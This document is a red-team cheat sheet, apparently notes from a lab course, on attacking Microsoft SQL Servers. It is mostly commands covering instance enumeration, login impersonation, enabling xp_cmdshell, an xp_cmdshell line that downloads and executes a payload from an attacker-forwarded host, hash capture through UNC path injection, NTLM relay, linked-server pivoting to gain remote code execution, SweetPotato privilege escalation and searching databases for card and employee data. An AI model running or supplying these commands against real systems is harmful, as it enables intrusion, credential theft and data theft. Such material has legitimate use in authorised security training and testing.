MS SQL Servers

Microsoft SQL Server is a relational database management system commonly found in Windows environments. They’re typically used to store information to support a myriad of business functions. In addition to the obvious data theft opportunities, they also have a large attack surface, allowing code execution, privilege escalation, lateral movement and persistence.

1. Enumerate MS SQL Servers

We will use PowerUpSQL (https://github.com/NetSPI/PowerUpSQL) and SQLRecon (https://github.com/skahwah/SQLRecon)

powershell-import C:\Tools\PowerUpSQL\PowerUpSQL.ps1

To search for SPNs that begin with MSSQL*:

Get-SQLInstanceDomain

To test whether or not we can connect to the database:

Get-SQLConnectionTest -Instance "{copy instance name extracted from previous command}" | fl

To gather more information about the instance:

Get-SQLServerInfo -Instance "{instance name}"

One-liner to combine the previous commands and searches for every Accesible SQL Server:

Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo

To enumerate local instances (They may have links that are not visible with PowerUpSQL, in that case, RDP to the current machine, the one that hash the local instance, and run the queries through Microsoft SQL Server Management Studio)

Get-SQLInstanceLocal -Verbose

To search what roles we have on a database:

execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe -a windows -s {instance name} -m whoami

or If we can run queries with a logon mssqlclient or with PowerUpSQL we can enumerate the login info with the following queries:

SELECT SYSTEM_USER;

SELECT USER_NAME();

select * from master_syslogins

To find a user (or group) that have access to the SQL Server we can use PoverView. Other option is going after the MS SQL service account itself, if it's kerberoatable or we can get its password, then can gain access to the SQL instance.

2. Interact with MS SQL Servers

Once we have access, there are several options for issuing queries against a SQL instance.

- PowerUpSQL

powershell Get-SQLQuery -Instance "{instance name}" -Query "select @@servername"

- SQLRecon

execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe -a windows -s {instance name} -m query -o "select @@servername"

- mssqlclient from Impacket via proxychains

proxychains impacket-mssqlclient -windows-auth {whoami}@{SQL Server IP}

proxychains impacket-mssqlclient -windows-auth {whoami}@{SQL Server IP} -hashes ":{ntlm hash}"

- Windows GUI HeidiSQL via Proxifier

https://www.heidisql.com/

- Dbeaver

https://dbeaver.io/

- Osql

If we are into a sql server, we can use just osql:

osql -E -S "instance.name" -Q "query"

3. MS SQL Impersonation

MS SQL impersonation, or context switching, is a means which allows the executing user to assume the permissions of another user without needing to know their password.

Impersonations must be explicitly granted through securable configurations (e.g. a user is having a problem and they want to eliminate permissions as an issue).

To discover accounts to impersonate:

SELECT * FROM sys.server_permissions WHERE permission_name = 'IMPERSONATE';

SELECT name, principal_id, type_desc, is_disabled FROM sys.server_principals;

execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe -a windows -s {instance name} -m impersonate

To then execute a query in the context of the target:

EXECUTE AS login = '{user we can impersonate}'; SELECT SYSTEM_USER;

EXECUTE AS login = '{user we can impersonate}'; SELECT IS_SRVROLEMEMBER('sysadmin');

SQLRecon modules can also be run in "impersonation mode" by prefixing the module name with an i and specifying the principal to impersonate:

execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe -a windows -s sql-2.dev.cyberbotic.io,1433 -m iwhoami -i {user we can impersonate}

execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe -a windows -s sql-2.dev.cyberbotic.io,1433 -m iquery -i {user we can impersonate} -o "{query}"

execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe -a windows -s sql-2.dev.cyberbotic.io,1433 -m ienablexp -i {user we can impersonate} -o "{query}"

execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe -a windows -s sql-2.dev.cyberbotic.io,1433 -m ixpcmd -i {user we can impersonate} -o "{command}"

4. MS SQL Command Execution

- xp_cmdshell Enumeration and Enabling

The xp_cmdshell procedure can be used to execute shell commands on the SQL server if you have sysadmin privileges.

Invoke-SQLOSCmd from PowerUpSQL will automatically attempt to enable xp_cmdshell if it's not already, execute the given command, and then disable it again:

powershell Invoke-SQLOSCmd -Instance "sql-2.dev.cyberbotic.io,1433" -Command "whoami" -RawResults

This will fail if we try manually in Heidi or mssqlclient, because xp_cmdshell is disabled.

To enumerate the current state of xp_cmdshell, use:

SELECT value FROM sys.configurations WHERE name = 'xp_cmdshell';

A value of 0 shows that xp_cmdshell is disabled. To enable it:

sp_configure 'Show Advanced Options', 1; RECONFIGURE;

sp_configure 'xp_cmdshell', 1; RECONFIGURE;

- xp_cmdshell Command Execution

With command execution, we can work towards executing a beacon or reverse shell payload. SQL servers usually cannot talk directly to our team server, so we must setup a reverse port forward to tunnel the traffic to our machine and make it download a payload.

First we add the firewall rule:

powershell New-NetFirewallRule -DisplayName "8080-In" -Direction Inbound -Protocol TCP -Action Allow -LocalPort 8080

Then we execute a reverse port forward, for example, with Cobalt:

rportfwd 8080 127.0.0.1 80

Next, we host a payload in our team server, for example, with Cobalt we can check if port 445 is alive and then host a smb payload (if port 445 is closed we need to use a pivot listener, add that port in the firewall rules and host a powershell payload pointing to the pivot listener, to download the payload we would have to follow the same steps as here):

portscan {target IP} 445

host smb_x64.ps1 at /b

We can now download and execute the payload.

EXEC xp_cmdshell 'powershell -w hidden -c "iex (new-object net.webclient).downloadstring("""http://machine_we_have_connection_with_and_executed_the_rportfw:8080/b""")"';

(If we follow the steps with Cobalt, we can now link to the beacon with: link {target} {pipe name})

- UNC Path Injection Attack

If we can't enable xp_cmdshell, we can set up an smb share and make the victim load it in order to capture a hash.

! Attack only possible if SMB Signing is not enabled, we can locate it with crackmapexec.

First launch Responder:

sudo responder -I tap0

Then execute one of the following in the MS SQL database you are authenticated:

xp_dirtree '\\192.168.X.Y\a';

EXECUTE ('master.sys.xp_dirtree "\192.168.X.Y\a"')

String query = "EXEC master..xp_dirtree \"\\\\192.168.119.120\\\\test\";";

Then to crack the obtained Net-NTLMv2 Hash we can use hashcat:

hashcat -m 5600 hash.txt dictionary.txt --force

- Net-NTLM Relay Attack

If we have captured the NTLM hash from the previous attack of a domain user that is a local administrator on a remote machine, we can perform a pass-the-hash attack and gain remote code execution (SMB Signing should also be disabled).

So, If we obtain a hash from a service account that is local administrator in two systems, we can relay the Net-NTLM hash from one to the other.

impacket-ntlmrelayx --no-http-server -smb2support -t {target ip} -c 'powershell -enc {endoded command}'

impacket-ntlmrelayx --no-http-server -smb2support -t smb://{target ip}

- sp_OACreate Command Execution

EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;

DECLARE @myshell INT; EXEC sp_oacreate 'wscript.shell', @myshell OUTPUT; EXEC sp_oamethod @myshell, 'run', null, 'powershell -enc {encoded command}';

5. MS SQL Lateral Movement - Linked SQL Servers

SQL Servers have a concept called "links", which allows a database instance to access data from an external source. MS SQL supports multiple sources, including other MS SQL Servers. These can also be practically anywhere - including other domains, forests or in the cloud.

- Linked Servers Enumeration

To automatically crawl all available links:

powershell Get-SQLServerLinkCrawl -Instance "{target}"

We can discover any links that the current instance has:

SELECT srvname, srvproduct, rpcout FROM master..sysservers;

We can also enumerate linked servers with the following:

EXEC sp_linkedservers;

- Command Execution on Linked Server with the AT syntax

To enable RPC Out:

EXECUTE as LOGIN = 'sa';EXEC sp_serveroption '{target database}', 'rpc out', 'true';

If xp_cmdshell is disabled and RPC Out is enabled on the link (which is not the default configuration) or we had permissions to enable it through the previous command, then we can enable it using the following syntax:

EXEC ('sp_configure ''show advanced options'', 1; reconfigure;') AT DC01;

EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT DC01;

Then to execute a command:

EXEC ('xp_cmdshell ''whoami'';') AT DC01;

- Command Execution on Linked Server via Openquery

To query the discovered link:

SELECT * FROM OPENQUERY("{discovered link}", 'select @@servername');

To check if we are sysadmins or not:

select myuser from openquery("dc01", 'select SYSTEM_USER as myuser')

To check the link xp_cmdshell status:

SELECT * FROM OPENQUERY("{discovered link}", 'SELECT * FROM sys.configurations WHERE name = ''xp_cmdshell''');

To enable xp_cmdshel:

select 1 from openquery(\"dc01\", 'select 1; EXEC sp_configure ''show advanced options'', 1; reconfigure')

select 1 from openquery(\"dc01\", 'select 1; EXEC sp_configure ''xp_cmdshell'', 1; reconfigure')

Then to execute a command:

select 1 from openquery(\"dc01\", 'select 1; exec xp_cmdshell ''powershell -enc {encoded command}''')

*Example with Cobalt:

powershell New-NetFirewallRule -DisplayName "8080-In" -Direction Inbound -Protocol TCP -Action Allow -LocalPort 8080

rportfwd 8080 127.0.0.1 80

(Host payload and copy encoded command)

SELECT * FROM OPENQUERY("sql-1.cyberbotic.io", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc {encoded command}''')

link sql-1.cyberbotic.io TSVCPIPE-ae2b7dc0-4ebe-4975-b8a0-06e990a41337

- Double Linked Databases (Double-Hope)

If we discover two databases that are linked, we can execute queries through both databases and see if we have sysadmin roles on the second (we previouslly queried the first and we don't have direct access to the second).

EXEC ('EXEC (''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT {target database}') AT {database where our current database has a link}

EXEC ('EXEC (''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT {target database}') AT {database where our current database has a link}

EXEC ('EXEC (''xp_cmdshell ''''whoami'''''') AT {target database}') AT {database where our current database has a link}

We can also use this technique to escalate privileges thanks to bidirectional links. This works like double linked databases, however, here both databases are linked each other. If we just discover that we can't execute commands on our own database, we can check if we can impersonate an user of a linked database, and then, get code execution in our own database through that link:

EXECUTE AS login = '{user we can impersonate}';

EXEC ('EXEC (''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT {current database, where we want RCE}') AT {linked database}

EXEC ('EXEC (''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT {current database, where we want RCE}') AT {linked database}

EXEC ('EXEC (''xp_cmdshell ''''whoami'''''') AT {current database, where we want RCE}') AT {linked database}

Aditionally, to get code execution on the linked database through a triple-hope:

EXECUTE AS login = '{user we can impersonate}';

EXEC ('EXEC (''EXEC ('''' sp_configure ''''''''show advanced options'''''''', 1; reconfigure; '''') AT {linked database, where we want RCE} '') AT {current database}') AT {linked database, where we want RCE}

EXEC ('EXEC (''EXEC ('''' sp_configure ''''''''xp_cmdshell'''''''', 1; reconfigure; '''') AT {linked database, where we want RCE} '') AT {current database}') AT {linked database, where we want RCE}

EXEC ('EXEC (''EXEC ('''' xp_cmdshell ''''''''<your cmd here>'''''''' '''') AT {linked database, where we want RCE} '') AT {current database}') AT {linked database, where we want RCE}

6. MS SQL Privilege Escalation

This instance of SQL is running as NT Service\MSSQLSERVER, which is the default during more modern SQL installations. It has a special type of privilege called SeImpersonatePrivilege.

Example with Cobalt:

Host a TCP Payload.

execute-assembly C:\Tools\SweetPotato\bin\Release\SweetPotato.exe -p C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -a "-w hidden -enc {encoded command}"

connect localhost 4444

7. Data searching and extraction

PowerUpSQL provides various cmdlets designed for data searching and extraction.

To search one or more instances for databases that contain particular keywords in the column names:

powershell Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "email,address,credit,card" -SampleSize 5 | select instance, database, column, sample | ft -autosize

To search over the SQL links:

powershell Get-SQLQuery -Instance "{instance}" -Query "select * from openquery(""{database}"", 'select * from information_schema.tables')"

powershell Get-SQLQuery -Instance "{instance}" -Query "select * from openquery(""{database}"", 'select column_name from master.information_schema.columns where table_name=''employees''')"

powershell Get-SQLQuery -Instance "{instance}" -Query "select * from openquery(""{database}"", 'select top 5 first_name,gender,sort_code from master.dbo.employees')"

Last updated